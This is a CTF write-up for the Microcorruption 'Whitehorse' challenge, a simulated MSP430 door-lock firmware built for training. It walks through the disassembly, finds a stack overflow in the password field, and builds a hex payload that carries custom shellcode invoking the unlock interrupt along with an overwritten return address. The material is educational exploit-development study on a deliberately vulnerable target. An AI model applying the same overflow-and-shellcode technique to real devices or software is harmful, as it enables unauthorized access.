This post is part of the series of solving microcorruption.com ctf challenges which continues from the previous challenge called Reykjavik. This challenge is titled Whitehorse.
This challenge has the following description towards the bottom:
This is Software Revision 01. The firmware has been updated to connect with the new hardware security module. We have removed the function to unlock the door from the LockIT Pro firmware.
Not a lot of information to go on. Lets dig into the code to learn more.
whitehorse
For whitehorse, the main
routine had a familiar setup where it simply called login
.
4438 <main>
4438: b012 f444 call #0x44f4 <login>
The login
routine in turn did not have any particularly interesting logic in it either other than a call to conditional_unlock_door
at 0x4514
. This routine seems to just get a password via a syscall, run conditional_unlock_door
and print a message of “Access granted." or “That password is not correct." depending on the result of the tst r15
call.
44f4 <login>
44f4: 3150 f0ff add #0xfff0, sp
44f8: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15
44fc: b012 9645 call #0x4596 <puts>
4500: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504: b012 9645 call #0x4596 <puts>
4508: 3e40 3000 mov #0x30, r14
450c: 0f41 mov sp, r15
450e: b012 8645 call #0x4586 <getsn>
4512: 0f41 mov sp, r15
4514: b012 4644 call #0x4446 <conditional_unlock_door>
4518: 0f93 tst r15
; notice that there does not seem to be any logic to unlock here?
451a: 0324 jz #0x4522 <login+0x2e>
451c: 3f40 c544 mov #0x44c5 "Access granted.", r15
4520: 023c jmp #0x4526 <login+0x32>
4522: 3f40 d544 mov #0x44d5 "That password is not correct.", r15
4526: b012 9645 call #0x4596 <puts>
452a: 3150 1000 add #0x10, sp
452e: 3041 ret
Weird, no syscall to unlock the lock? Lets see what conditional_unlock_door
does:
4446 <conditional_unlock_door>
4446: 0412 push r4
4448: 0441 mov sp, r4
444a: 2453 incd r4
444c: 2183 decd sp
444e: c443 fcff mov.b #0x0, -0x4(r4)
4452: 3e40 fcff mov #0xfffc, r14
4456: 0e54 add r4, r14
4458: 0e12 push r14
445a: 0f12 push r15
445c: 3012 7e00 push #0x7e
4460: b012 3245 call #0x4532 <INT>
4464: 5f44 fcff mov.b -0x4(r4), r15
4468: 8f11 sxt r15
446a: 3152 add #0x8, sp
446c: 3441 pop r4
446e: 3041 ret
Errr, also pretty boring. This routine eventually does syscall 0x7e
though. In the lock’s manual, 0x7e
is described as:
Interface with the HSM-2. Trigger the deadbolt unlock if the password is correct.
So it seems like this syscall might be the only logic we have to unlock the lock. Problem is though, the “HSM” is confirming the password validation here.
Digging a bit further, I decided to enter a password that was again larger than the suggested “8 to 16 characters”.
Well looksy there! A stack overflow from the password field as the stack pointer (sp
) points to 0x36ca
when the login function wants to return, meaning we can redirect the flow of code execution as we wish! There is just one problem here. We don’t have any useful code we can jump to. The instruction at 0x445c
uses sycall 0x7e
, which asks the HSM to confirm the password.
So what can we do? Well, we control a number of bytes in the password buffer, what if we jump to our own opcodes (shellcode)? :)
To write the correct instructions needed to open the lock, we need to have read the locks manual and know that doing a syscall with interrupt number 0x7f
will open the lock (without some fancy pants HSM trying to verify anything). If you were paying attention in the previous challenges you may have also noticed that 0xf7
was used to unlock the lock there.
From the locks manual and some of the challenges we have done up until now, we know that we need to simply push the interrupt number onto the stack that we want to call. This challenge already contains the opcodes we need for that too in the conditional_unlock_door
routine, so its really easy to just copy/paste and modify those to suit our needs.
445c: 3012 7e00 push #0x7e
4460: b012 3245 call #0x4532 <INT>
For reference, you can use the online disassembler again, pasting the 8 raw bytes and reading the disassembly as you modify them to make sure you are on the right track. In reality, all we want to do really is swap the 0x7e
for an 0x7f
.
Our final opcodes for our custom shellcode would be:
3012 7f00
b012 3245
Easy! That means the shellcode to unlock the lock will be 30127f00b0123245
within the password we provide. The size of our shellcode is exactly 8 bytes, meaning it fits comfortably within the password buffer, right before we corrupt the stack. That solves the shellcode we want to use, but how do we get there? That is actually really easy. :)
While debugging the program, you will see that the password buffer always starts at 0x36ba
. We can also see that bytes 17 and 18 corrupt the stack causing that ret
instruction to jump to an address we control, so all we should be doing is pad the password input with enough bytes so that position 17 and 18 can slide in 0x36ba
as the final 2 bytes of our payload.
$ python
>>> shellcode = "30127f00b0123245"
>>> pad_char = "41"
>>> ret = "ba36"
>>>
>>> print(shellcode + (pad_char * 8) + ret)
30127f00b01232454141414141414141ba36
With our final payload which includes custom shellcode to unlock the lock, we can see the ret
causes a jmp
to 0x36ba
, where syscall 0x7f
is prepared and called.
solution
Enter 30127f00b01232454141414141414141ba36
as hex encoded input.
other challenges
For my other write ups in the microcorruption series, checkout this link.